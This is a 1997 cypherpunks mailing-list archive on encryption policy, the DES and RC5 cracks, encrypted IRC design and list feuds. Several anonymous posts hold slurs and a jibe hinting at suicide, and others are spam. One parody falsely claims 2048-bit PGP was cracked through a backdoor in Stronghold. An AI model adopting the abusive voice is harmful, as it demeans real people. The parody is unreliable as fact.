may support kiddie porn.  The only somewhat good measure coming up is
SAFE, but that will most likely be struck down by lawmakers.  After all,
it helps encryption, and that might aid kiddie porn!  Seriously, if the
citizens ever have a civil war, and we win, then Clinton, the senators
opposed to Pro-CODE, and other anti-crypto types should be on trial for
abuse of power, violation of citizens' rights, and high crimes against
the constitution.  I hope it would be public :-)

The government in theory works for US.  So the question is "What the
HELL happened to that?!"







From stewarts at ix.netcom.com  Sat Jun 21 01:40:11 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Sat, 21 Jun 1997 16:40:11 +0800
Subject: Extremely Disappointing: Political Cryptography
In-Reply-To: <33A9D7F3.BACEB3DA@healey.com.au>
Message-ID: <3.0.2.32.19970621012312.00767210@popd.ix.netcom.com>



At 12:14 AM 6/20/97 -0400, Charles Platt wrote:
>I'm not saying I _want_ an agency making decisions for us; only that it 
>would be slightly less hideously exasperating than our present situation, 
>where technoliterates are being ruled by technoilliterates.

We're far better off without one, for a bunch of reasons.
1) Congress does stupid knee-jerk things without understanding them,
but it only does them when there's a lot of public pressure,
or focused insider pressure, or when its legs itch,
but after it's done it goes off and does stupid knee-jerk things
about some other "problem" that it wants to "help".
Attention Deficit Disorder is your friend, at least when Congress has it.
The only time it does things on a long-term basis are when it really cares;
things like funding the military-industrial-welfare complex
and local pork.  The Internet probably isn't there yet,
even though it's almost as much fun as Dope or Commies to rant about.

2) Bureaucracies, on the other hand, have self-perpetuation as Job 1.
Sure, they may understand their subject matter a bit better, but
Job 1 means continuing to do "useful" things to "help" the country,
most of which are almost by definition bad, and finding ways to
increase their scope of control.  Unlike Congress, whose agenda
depends on which way the wind is blowing, their agenda is fixed.
What they do will not only be bad, but it will be done competently,
which is harder to throw out in court than knee-jerk stupid things.
Furthermore, it will be done quietly, broadly, and not distracted
by the crisis of the week.

>The FCC actually made some halfway decent decisions determining 
>standards in broadcasting, before the agency became terminally 
>incestuous and corrupt.

The FCC was terminally incestuous and corrupt from the beginning.
Its job, done quite well, was to restrict access to the airwaves,
just as the job of the other Roosevelt-era agricultural and
industrial programs was to create and preserve oligarchies in the 
names of "anti-trust" and "consumer protection".
FCC spectrum allocation policies, granting monopoly control of the
"commercial" parts of the spectrum and banning "commercial" speech 
on the "amateur" bands, have not only prevented a free market in
broadcasting, they've severely limited the span of opinions that
they consider to be "in the public interest" and therefore permitted
on the airwaves.

> We might get two or three good years out of a Federal Internet
>Agency, depending who was appointed to run it. 

We did actually get a few good years out of them - the DoD was
running it, and since their objective was to get _their_ job done,
they built a lot of good technology that was different than what the
phone monopolies and IBMs were building.  Yes, there was a political agenda:
you could only use the net for "non-commercial", government-contract-related,
or university purposes, but they fundamentally didn't care as long as you
weren't blatant about it, so the culture could develop in a more balanced
manner, and people could build interesting fun things essentially
un-supervised.

Those days are over, of course, and throwing out the government control
is far from a finished job, especially outside the US, but the free sector
is much larger than the bureaucratic sector, so they can't do much harm.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From lvck1 at hotmail.com  Sat Jun 21 16:50:33 1997
From: lvck1 at hotmail.com (lvck1 at hotmail.com)
Date: Sat, 21 Jun 1997 16:50:33 -0700 (PDT)
Subject: adults only
Message-ID: <199702580025.gaa@livepeople.com>


TRY US OUT FOR FREE!!!
See and talk to a live person on your computer screen.
Not a video!  Not prerecorded!  This is live!!
Our models will obay your every cummand, we're willing to prove it by
giving you a free 5 minute preview.
Give it a try, its free.
   - CLICK HERE







From stewarts at ix.netcom.com  Sat Jun 21 02:50:03 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Sat, 21 Jun 1997 17:50:03 +0800
Subject: Party on IRC
In-Reply-To: 
Message-ID: <3.0.2.32.19970621023432.0077a4ac@popd.ix.netcom.com>



>Robert Hettinga  writes:
>>Is there an encrypted IRC available?
>>If not, shouldn't there be?
>>Is such a thing even possible?

You'd have to think about what you wanted it to do,
but it should be quite doable.  IRC is normally for sharing
conversations between an amorphous, changing bunch of people,
which isn't really a standard thing to do with crypto.  
But I can see several basic models:
0) Just Speak Finnish :-)
1) Two-person, with Diffie-Hellman key exchange
2) N-person shared-key - you'd probably use RSA to give the session key
to each new participant, or use PGP to do it.
3) N person, one key per sender, shared as above.
4) Ignore the application layer, and build the crypto as an IPsec tunnel.
5) Ignore the IRC protocols, and build a similar conversation server
using web forms and SSL.

Some tools you'd want`for 1-3:
a) Convenient cut&paste between the IRC makes integrating things easier,
such as key exchange, e.g. drop in a PGP message with today's key.

b) The ability to mix encrypted and unencrypted messages, 
so it's easier to do things like join the channel and negotiate keys.

c) A crypto operating mode that doesn't depend on sequence -
probably a line basis is about right.  ECB mode is boring and unsafe,
but you could use a session key (distributed with RSA/DH/etc.) 
to encrypt a per-line nonce key, and encrypt the line with the nonce,
transmitting "encryptednonce, encryptedline" for each line of data.

Perhaps this is less secure (?), but can you do something like
linekey = Hash( Hash(sessionkey, nonce), sessionkey ) 
transmitting "nonce, encryptedline"?  This would let you use a hash
instead of a symmetric crypto for the key on each line,
and might make it more convenient to choose a stream cypher such as RC4/160 
instead of a slower block cypher such as IDEA or DES for the line encryption.



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From nobody at huge.cajones.com  Sat Jun 21 04:04:49 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 21 Jun 1997 19:04:49 +0800
Subject: "Strength of encryption standard proved again"
Message-ID: <199706211040.DAA31004@fat.doobie.com>



Tim May wrote:
> 
>( cryptography at c2.net removed from the distribution list, as I am not a
> subscriber to that list, and Perry has admonished me when I have
> accidentally left his list on the cc: to my messages)

From: sameer 
To: emergent at eval-apply.com (ET)
CC: cryptography at c2.net, cypherpunks at toad.com

  Sameer has his bum-buddy, Perry, censoring c2.net's crypto-propaganda
list in order to reflect favorably on cryptography business interests.
  It seems that this is cheaper than using his legal team to stifle
free speech regarding corporate products, especially his own. 

  Despite the fact that Sameer feels free to spam the cypherpunks list
with self-serving horseshit that he is sending to cryptography at c2.nut,
it seems that he has a deep-rooted fear of his products and motives
being discussed on the c2.net list.
  Perry is a horse's ass who gets offended that people subjected to
cc:'s of the c2.net propoganda machine don't seem to feel it is their
job to perform his censorship for him by deleting sameer's list from
the cc:'d spam their list members send out.

  I would suggest that if Perry wants to act as a censor of free speech
on the internet, that he take responsibility for deleting any messages
that he deems to be beneath the corporate standards of the list that
he censors.
  Of course, he could always automate the list to only allow posts by
subscribers. If the software he uses to run the list doesn't have the
capability to do so then perhaps he could ask the Stronghold programers
to build a back door in the software to allow him to do so.

TruthMonger







From lucifer at dhp.com  Sat Jun 21 04:08:46 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Sat, 21 Jun 1997 19:08:46 +0800
Subject: [EFGA] WE won our court case!! (fwd)
Message-ID: <199706211055.GAA09586@dhp.com>



Bill Stewart wrote:
> the distributed internet project to crack
> the DES Challenge key succeeded on the day that the Senate committee
> was trying to tell us that 56kbps should be plenty for anybody.

  What an amazing coincidence. RSA works in mysterious ways.

MysteryMonger






From nobody at REPLAY.COM  Sat Jun 21 04:50:30 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Sat, 21 Jun 1997 19:50:30 +0800
Subject: [STEGO] Quadratic residues
Message-ID: <199706211137.NAA22941@basement.replay.com>



`A pen is mightier than a sword', not to mention Timothy 
C[ocksucker] Mayonnaise's pea-sized penis. He would be 
better served by a safety razor, possibly applied in a 
bathtub filled with warm water (something he has surely 
never been into).

       ((__)) Timothy C[ocksucker] Mayonnaise
        (00)
       (o__o)






From dlv at bwalk.dm.com  Sat Jun 21 04:50:40 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 21 Jun 1997 19:50:40 +0800
Subject: "Fuck tha EFF": New banner for Netscum page
In-Reply-To: <2.2.16.19970621003022.37f700d8@pacbell.net>
Message-ID: <5DBN9D12w165w@bwalk.dm.com>



Aaron Marquez  writes:
>   I find it curious that when the EFF was silent about the netscum page, the
> majority of you were supportive of the EFF, but as soon as the EFF said that
> they weren't interested in being associated with the netscum page, the party
> line suddenly became "the EFF is a bunch of corporate whores..."

This is a lie, like everything else Aaron Marquez says.

We've been condemnding EFF at least since October 96, when we caught one of
the cocksuckers in charge of it in blatant censorship.

>   What explanation can there be for such a quick 180 other than to conclude
> that you're suffering from a big case of sour grapes? And at any rate, how
> does EFF-bashing on a mailing list advance the cause of electronic freedom?
> I think it's been made obvious what you think of the EFF, why repeat it over
> and over to people who already know?

This is a lie (see above).

Dave, why did you subscribe this Cabal stooge to this mailing list
without announcing it? :-(

> >If one dislikes the "National Socialists", the closet historical analogue
> >of the Usenet Cabal, it doesn't follow that one is against socialism.
>
>   I disagree that the so-called Usenet Cabal is akin to the National
> Socialists.

Marquez is not even amusing - just a Cabal liar.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From janke at unixg.ubc.ca  Sat Jun 21 06:41:59 1997
From: janke at unixg.ubc.ca (Leonard Janke)
Date: Sat, 21 Jun 1997 21:41:59 +0800
Subject: Party on IRC
In-Reply-To: 
Message-ID: 




ftp://ftp.csua.berkeley.edu/pub/cypherpunks/applications/circ.tar.gz ?

Didn't look into it too closely, but I noticed it doesn't do 
authentication.

Leonard






From real at freenet.edmonton.ab.ca  Sat Jun 21 09:20:19 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Sun, 22 Jun 1997 00:20:19 +0800
Subject: [STEGO] Quadratic residues
In-Reply-To: <199706211137.NAA22941@basement.replay.com>
Message-ID: 



On Sat, 21 Jun 1997, Anonymous wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> `A pen is mightier than a sword', not to mention Timothy 
> C[ocksucker] Mayonnaise's pea-sized penis. He would be 
> better served by a safety razor, possibly applied in a 
> bathtub filled with warm water (something he has surely 
> never been into).
> 
>        ((__)) Timothy C[ocksucker] Mayonnaise
>         (00)
>        (o__o)
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email :  : 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From aba at dcs.ex.ac.uk  Sat Jun 21 09:20:23 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Sun, 22 Jun 1997 00:20:23 +0800
Subject: cypherpunks PR fluff-ups (was Re: Garbled in transmission.)
Message-ID: <199706211608.RAA00479@server.test.net>




Sameer Parekh  writes:
> ET  writes:
> > I can't remember it word for word, but it went like this:
> > "If you're going to decrypt financial transactions you'd better
> > be prepared to get 1000 computers and spend 3 months on
> > the project."
> 
> 	Not at all surprising, considering the wording of Rocke's
> press release. 

I agree.  He didn't even mention the possibility of hardware cracks,
nor estimates of times to break DES with hardware.

10,000 people burn more CPU than ever managed by a distributed effort
in history, and the PR is poorly managed.  You need to invest some of
that effort in PR.

Why no mention of the fact that the crack cost $10,000 (the prize money).

And what happened to the prize money?  (Who won it?  Did the guy
finding the key?  Or did something boring like giving it to GNU or EFF
happen to it?)

Why no source code?


Some general comments about the crack:

Many of the people involved in running the cracks seemed more
concerned with their own glory, or with getting their name in lights
to enhance their consulting rates, or the technical interest of it, or
control freakish tendencies over the management of it, arguing over
how best to design the software to conceal the key from the finder of
the key! etc, than in making a political statement about the weakness
of DES.

Seemed like few of them were cypherpunks at heart.

This reflected itself I think in the complete hostility to giving the
prize money to the winner, the fact that several of the cracks
wouldn't reveal the source code, nor their techniques.

The earlier cracks the cypherpunks as a group were involved in
(netscape breaks) were much more open (source code was released, and
benefited from release by others contributing speed-ups).  There was
none of this attitude which I detected amongst some of the DES groups
of excluding others from a small groups organisational effort, because
that group wanted the lime-light.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0



Declan:

So when did you turn into Rotenberg's press whore?  This 20k transcript
you just spammed me with is no different than a hundred other mediocre
debates on second-rate news shows that we have all been subjected to since
people started whining about the CDA. Boring.








From kent at songbird.com  Sat Jun 21 09:58:46 1997
From: kent at songbird.com (Kent Crispin)
Date: Sun, 22 Jun 1997 00:58:46 +0800
Subject: CDT Policy Post 3.08 - Senate Committee Approves Key Crypto Bill
In-Reply-To: 
Message-ID: <19970621094256.27370@bywater.songbird.com>



On Fri, Jun 20, 1997 at 04:50:16PM -0700, Declan McCullagh wrote:
> 
> ---------- Forwarded message ----------
> Date: Fri, 20 Jun 1997 19:44:33 -0400 (EDT)
> From: Charles Platt 
[...]
> 
> Statements similar to yours have been made so many times, scolding
> "extremists" for "not being realistic." I seem to remember something about
> extremism in defense of liberty being no vice, and moderation no virtue.
> Either way, if you compromise, you don't get what you want. That is
> absolutely obvious. So why compromise? 

Because half a million dollars is better than no dollars? Because in
real life the vast majority of choices are not binary? Because in real
life you have to live with someone as intransigent as you?

The real question is: What is the most *effective* way for achieving
your ends.  "No compromise" negotiaton can be effective at either end of 
the power scale (if you hold *all* the cards there is no point in 
compromising; if you hold *no* cards there is no point in 
compromising).  In this case your "no compromise" stand is the 
reflective of the "no cards" position -- "we've already lost so we 
might as well go down guns blazing."

However, others do not see the situation as bleakly as you do.

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From randerso at ece.eng.wayne.edu  Sat Jun 21 10:15:25 1997
From: randerso at ece.eng.wayne.edu (Ryan Anderson)
Date: Sun, 22 Jun 1997 01:15:25 +0800
Subject: New Laws in Oregon - "Land of the Legal betatest"
In-Reply-To: <970621.021700.6Q0.rnr.w165w@sendai.scytale.com>
Message-ID: 



On Sat, 21 Jun 1997, Roy M. Silvernail wrote:

> > How do you propose to deal with such things as the Telecommunications Act
> > of 1996 (which incidently included the CDA)?   I can see a problem where
> > one sentence or clause gets thrown out of a major bill (say a compromise
> > budget, that someone screwed up one minor ammendment), and if you have
> > that happen 3 times in 6 years, you've lost 90% of your senators!  I'm not
> > saying that your idea isn't without merit, just that it's got a few
> > problems that strike me as somewhat major..
> 
> Please elaborate, as I can't see _any_ problem with eliminating 90% of
> the sitting legislature.

You've completely missed my point.  This would be an on-going problem.
Congress can only function with some idea of compromise in it.  When
you're passing budgets, especially the kind of budgets we have right now,
they get big and complicated, I can't see that changing significantly,
even with a massive turnover of members.  But having no consistency in
Congress at all, even for some "good" reps would be horrible.

-----------------------------------------------------------------------
Ryan Anderson -      "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso at ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------






From aba at dcs.ex.ac.uk  Sat Jun 21 10:21:09 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Sun, 22 Jun 1997 01:21:09 +0800
Subject: RC5 crack
Message-ID: <199706211713.SAA00744@server.test.net>




Been looking at the RC5 crack project.

http://rc5.distributed.net/ has loads of flashy graphics, stats,
etc. but no instructions!

I've got the linux command line client, and I want to take off 16
hours at a time as I am using a dial up slip link, and it insists on
taking 20 mins worth.

I read the FAQ, nada.

Help.

Also, no source code.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0




The "Meeting of the Eight," formerly the G7, is happening in Denver.
Listening to what's coming out of it, it's apparent that the Four Horsemen
are front and center. Clinton is speaking of a network of banking and
communications policy coordinators, to detect and halt drug dealing, money
laundering, and nuclear terrorism.

This fits with the details of reports about global wiretapping efforts,
about joint intelligence activities, and, of course, with the OECD/GAK laws
being proposed, passed, and about to be signed into law about "Key
Recovery" and "Trusted Third Parties."

The fix is in.

It probably won't be long before Stronghold is barred for export from
either Britain or RSA (the other one); both Tony Blair and Nelson Mandela
are Friends of Bill, so a few phone calls should take care of that little
problem. (And Norway and the other Scandinavian countries are part of the
global wiretap agreement, so I rather doubt free export of PGP 5.x code out
of Norway will be feasible, despite the OCR effort now underway there.)

(Not that Clinton will mention Stronghold to Blair...that's far too much
microdetail. Jimmy Carter might have gotten involved at that level, but not
Bill. Details will be left to underlings.)

The call to Japan, probably the visit by David Aaron, stopped NTT's plans
for exporting the RSA chip.

Anguilla and other "offshore" havens, will be subject to the same kinds of
pressure. Mark my words.

It's not hopeless. Physical havens are vulnerable, to all sorts of
pressures (I doubt many cryptographers want to set up shop in Libya or
Iraq, not that these places would be hospitable to Cypherpunks sorts of
goals and methods).

Going underground, using the untraceable features of cyberspace, may be the
last, best hope.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From paul at fatmans.demon.co.uk  Sat Jun 21 10:29:20 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Sun, 22 Jun 1997 01:29:20 +0800
Subject: A site idea
In-Reply-To: 
Message-ID: 




> Well after joining this list a few days ago, i've decided to take the 
> plunge and post something. I was looking for feedback on an idea for a 
> site. I hope this dosen't violate any rules for posting and i appologise 
> if it does. Please dont flame me for my ignorance if i've broken any 
> unspecified rules for posting.

Cypherpunks is totally uncensored and there are no rules for posting, you 
won`t get flamed for posting off topic, unless you are censorous, for a 
good short idea of what cypherpunks is all about read Tims "a cypherpunk 
manifesto" or his cyphernomicon.

> I was hoping to collect information on setting up anon remailers of 
> various types and compiling links and articles for the site. Can anybody 
> point me in the right direction ? 

Raph Levine 
Message-ID: 




> 	Not at all surprising, considering the wording of Rocke's
> press release. 

On the other hand, had the news report been based on any of your own 
releases, they would have had to include subliminal messages than C2Net 
is a trusted company and Sameer is god, and that StrongHold does not 
contain any backdoors.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From rah at shipwright.com  Sat Jun 21 11:01:25 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Sun, 22 Jun 1997 02:01:25 +0800
Subject: Anonymous browsing (was Re: Getting Back to our Radical Roots)
In-Reply-To: <3.0.2.32.19970620150717.0082bab0@descartes.bluemoney.com>
Message-ID: 



At 7:22 pm -0400 on 6/20/97, Tim May wrote:
> When I was at CFP a few months back, and NSA guy said he read the
> Cypherpunks list regularly. And a CIA analyst who attended the Hackers
> Conference recognized my name when I happened to sit down next to him at a
> meal, and said his office often looked to the CP list for insights into how
> various proposals would be met. I don't recall either of their names--I
> wasn't that interested in tracking them--but I rather suspect their
> subscriptions were under under other names or at least other domain names,
> or forwarded directly off of other sites.

This could be done at the archives, even if they *are* in Singapore. :-).
Maybe *that's* why they need onion routers... :-).

-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From paul at fatmans.demon.co.uk  Sat Jun 21 11:02:56 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Sun, 22 Jun 1997 02:02:56 +0800
Subject: "Fuck tha EFF": New banner for Netscum page
In-Reply-To: <5DBN9D12w165w@bwalk.dm.com>
Message-ID: 




> > they weren't interested in being associated with the netscum page, the party
> > line suddenly became "the EFF is a bunch of corporate whores..."
>
> We've been condemnding EFF at least since October 96, when we caught one of
> the cocksuckers in charge of it in blatant censorship.

I have always had a healthy fear of the alphabet soup "cyber rights" 
(never trust anyone who calls a lot of wires, routers and telephone lines 
"cyberspace") groups, but what turned me against the EFF in particular 
was the way in which their obvious support for their main source of 
funding (ie. coporate groups and interests) turned them against their 
public, they sold out, and they sold their members out. Of course the 
Gilmore  incident convinced me even more.

> >   I disagree that the so-called Usenet Cabal is akin to the National
> > Socialists.
> 
> Marquez is not even amusing - just a Cabal liar.

The term liar after cabal is an unnecesary redundancy. All cabal members 
are censorous liars, but what`s new...

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From paul at fatmans.demon.co.uk  Sat Jun 21 11:19:25 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Sun, 22 Jun 1997 02:19:25 +0800
Subject: PGP Crack Successful !!!
In-Reply-To: <199706210655.AAA22599@wombat.sk.sympatico.ca>
Message-ID: 




> 2048-bit PGP Cracked!!!
> by Declan McCullagh (declan at well.cum)

We really are getting some good material recently ;-)...
If we carry on like this, the cypherpunk enquirer will consider 
him/herself humble!

> using the backdoor in the Stronghold encryption software
> to decipher PGP files.

ObLawyerLetterFodder: Stronghold is weak, it can be broken by a team of 4 
monkeys in under 30 minutes, C2Net are all cocksuckers. 

>      Phil Zimmerman, who was forced out of the company
> as a condition of the acquisition agreement, said of his
> replacement, "Dimitri is a cocksucker."

ROFL.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From paul at fatmans.demon.co.uk  Sat Jun 21 11:34:49 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Sun, 22 Jun 1997 02:34:49 +0800
Subject: CDT Policy Post 3.08 - Senate Committee Approves Key Crypto Bill
In-Reply-To: <19970621094256.27370@bywater.songbird.com>
Message-ID: 




> Because half a million dollars is better than no dollars? Because in
> real life the vast majority of choices are not binary? Because in real
> life you have to live with someone as intransigent as you?

Intransigence is no excuse for being wrong, nor does it make it any less 
a crime to censor or pronounce imperatives.

> However, others do not see the situation as bleakly as you do.

Rubbish, there can be no place for compromise where issues as clear cut 
as censorship or GAK are concerned.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From declan at well.com  Sat Jun 21 12:29:01 1997
From: declan at well.com (Declan McCullagh)
Date: Sun, 22 Jun 1997 03:29:01 +0800
Subject: CDT Policy Post 3.08 - Senate Committee Approves Key Crypto Bill
Message-ID: 





---------- Forwarded message ----------
Date: Sat, 21 Jun 1997 12:18:09 -0700 (PDT)
From: Declan McCullagh 
To: Paul Spirito 
Cc: fight-censorship at vorlon.mit.edu, Charles Platt 
Subject: Re: CDT Policy Post 3.08 - Senate Committee Approves Key Crypto Bill

I'm much more intersted in looking at the motives not of the minority who
voted for ProCODE II, but at who endorsed the final McCain-Kerrey bill and
reported it out of committee.

Keep in mind that civil liberties and business groups across the spectrum
are unanimous in condemning the McCain-Kerrey bill as evil. 

But which senators on the full Commerce Committee voted against it? Did
Ashcroft? Did Burns?

-Declan


On Sat, 21 Jun 1997, Paul Spirito wrote:
> 1) The senators who voted for the pro-CODE "compromise" were acting
> about as principled as senators normally will.







From fabrice at math.Princeton.EDU  Sat Jun 21 13:14:56 1997
From: fabrice at math.Princeton.EDU (Fabrice Planchon)
Date: Sun, 22 Jun 1997 04:14:56 +0800
Subject: RC5 crack
In-Reply-To: <199706211713.SAA00744@server.test.net>
Message-ID: <19970621160629.55632@math.princeton.edu>



Comme disait Adam Back (aba at dcs.ex.ac.uk):
> 
> Been looking at the RC5 crack project.
> 
> http://rc5.distributed.net/ has loads of flashy graphics, stats,
> etc. but no instructions!

seems they are in the final process of rewriting clients entirely, with
a new protocol, etc... so they don't bother explaining how the old
clients work. Still, I agree it sucks.

> I've got the linux command line client, and I want to take off 16
> hours at a time as I am using a dial up slip link, and it insists on
> taking 20 mins worth.

here is the best that I found on that subject in the rc5 list archive..

   rc5.exe -l -a outland.hway.net -a2 rc5proxy.distributed.net -s -k 20
   jonass at lysator.liu.se
     
     
   -l is logging (writes to a file)
   -a primary server to use
   -a2 secondary server
   -s shows status
   -k number of blocks to buffer local. The larger number the less you
   have to be online
     
          
   This does not hide it, but that is what I like.
   You start it (beeing online), wait until it got all blocks and then
   go offline. Later you can go online any time. It will report any
   blocks finished and get new ones to fill up the 20 slots buffer.
   Unless you use the -o option or the -z option the client will try to
   connect every 2 minutes after finishing the first block so be careful
   if you have any kind of dial-on-demand.

and from strings you get
Usage: %s [-m] [-n level] [-c count] [-h hours]
       [-a 
] [-p ] 

doesn't say that much... but you can try the -k option to see if it
works with the linux client.  I don't need that as I am on-line anyway.

> Also, no source code.

there have been some discussions about that on the list, they seem to
fair bogus datas sent to the servers. Kind of makes sense, but they
could at least release the core source without the communication
protocol...

                    F.

-- 
Fabrice Planchon                                          (ph) 609/258-6495
Applied Math Program, 210 Fine Hall                      (fax) 609/258-1735







From mixmaster at remail.obscura.com  Sat Jun 21 15:33:25 1997
From: mixmaster at remail.obscura.com (Mix)
Date: Sun, 22 Jun 1997 06:33:25 +0800
Subject: The Global Fix is In
Message-ID: <199706212159.OAA07925@sirius.infonex.com>



>Going underground, using the untraceable features of cyberspace, may be the
>last, best hope.

You can't go underground if cryptography is illegal.  You don't have remailers,
so you can't be anonymous.  You don't have crypto, so anyone can see what
you're doing online.  It doesn't work.

You can't ignore the laws.  You can't ignore society.  The real world is all
around you, and you have to live in it.

People are tired.  We win one battle, and have to begin again with another.
But that's the way it works.  Look at the political battles which have gone on
for decades: gun control, abortion, environmentalism, many more.  You have
to be in this for the long haul.  You have to fight every step of the way.

Don't give up.

Anon






From 17509422 at ranier.net  Sun Jun 22 07:32:56 1997
From: 17509422 at ranier.net (17509422 at ranier.net)
Date: Sun, 22 Jun 1997 07:32:56 -0700 (PDT)
Subject: FREE PC SOFTWARE: HOMEBASED OPPORTUNITY
Message-ID: <3492398495409GAA4532@nusselup.coms>




Do not hit "REPLY"
If not interested type REMOVE in subject area.

An honest approach to using the internet as a money
making resource!!!! Our free program teaches you the
simple method for becoming your own distributor at a
minimum financial outlay.

For more information on how to dramatically expand your
positive cash flow.... 

click here

Take time to smell the flowers... Life is short...

warm fuzzies...

Constance






From root at bushing.plastic.crosslink.net  Sat Jun 21 16:40:02 1997
From: root at bushing.plastic.crosslink.net (Ben Byer)
Date: Sun, 22 Jun 1997 07:40:02 +0800
Subject: RC5 crack
In-Reply-To: <199706211713.SAA00744@server.test.net>
Message-ID: <199706212317.TAA05605@bushing.plastic.crosslink.net>



-----BEGIN PGP SIGNED MESSAGE-----

Content-Type: text/plain; charset=us-ascii


>
>
>Been looking at the RC5 crack project.
>
>http://rc5.distributed.net/ has loads of flashy graphics, stats,
>etc. but no instructions!
>
>I've got the linux command line client, and I want to take off 16
>hours at a time as I am using a dial up slip link, and it insists on
>taking 20 mins worth.
>
>I read the FAQ, nada.
>
>Help.

You want to download the "personal proxy", perproxy.  It should be available 
on the same ftp site as the client.  The proxy will buffer the keys and the 
answers for you... you just run the proxy on your machine, point it at 
rc5proxy.distributed.net, and you point your client at localhost.

- --
Ben Byer    root at bushing.plastic.crosslink.net    I am not a bushing



-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQB1AwUBM6xg+LD5/Q37XXHFAQHe1gL/eOl3FTU2w4yXm09/DvvhQcmUgTpz/Uvs
JU5JrZZj5kgSkHNAZCxqkeN2ErOvpE9QGqxTJudX0uYvIWv6LqAVgMlVb9nxatRc
y6FnO5c3ET+3bh4qQOA10Am5J9Lcjksv
=l9e6
-----END PGP SIGNATURE-----






From cmcurtin at research.megasoft.com  Sat Jun 21 17:21:42 1997
From: cmcurtin at research.megasoft.com (C Matthew Curtin)
Date: Sun, 22 Jun 1997 08:21:42 +0800
Subject: Garbled in transmission.
In-Reply-To: <199706210004.UAA26052@jazz.cape.com>
Message-ID: <199706220010.UAA25001@goffette.research.megasoft.com>



-----BEGIN PGP SIGNED MESSAGE-----

>>>>> "sameer" == sameer   writes:

sameer> 	Not at all surprising, considering the wording of
sameer> Rocke's press release.

Surely you refer to the lack of a commercial spin in Rocke's press
